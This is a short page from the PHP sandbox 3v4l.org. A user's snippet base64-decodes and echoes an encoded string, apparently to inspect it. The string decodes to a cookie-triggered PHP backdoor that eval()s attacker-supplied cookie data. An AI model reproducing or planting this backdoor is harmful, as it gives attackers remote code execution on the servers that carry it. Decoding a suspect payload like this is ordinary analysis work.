3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $var='JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSd2aScgJiYgJGMoJGEpPjMpeyRrPSdjdG9yJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7f=='; echo base64_decode($var); $var = base64_encode('test'); echo $var; echo base64_decode($var);

Shows result from various feature-branches currently under review from the php developers. Contact me to have additional branches featured.

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page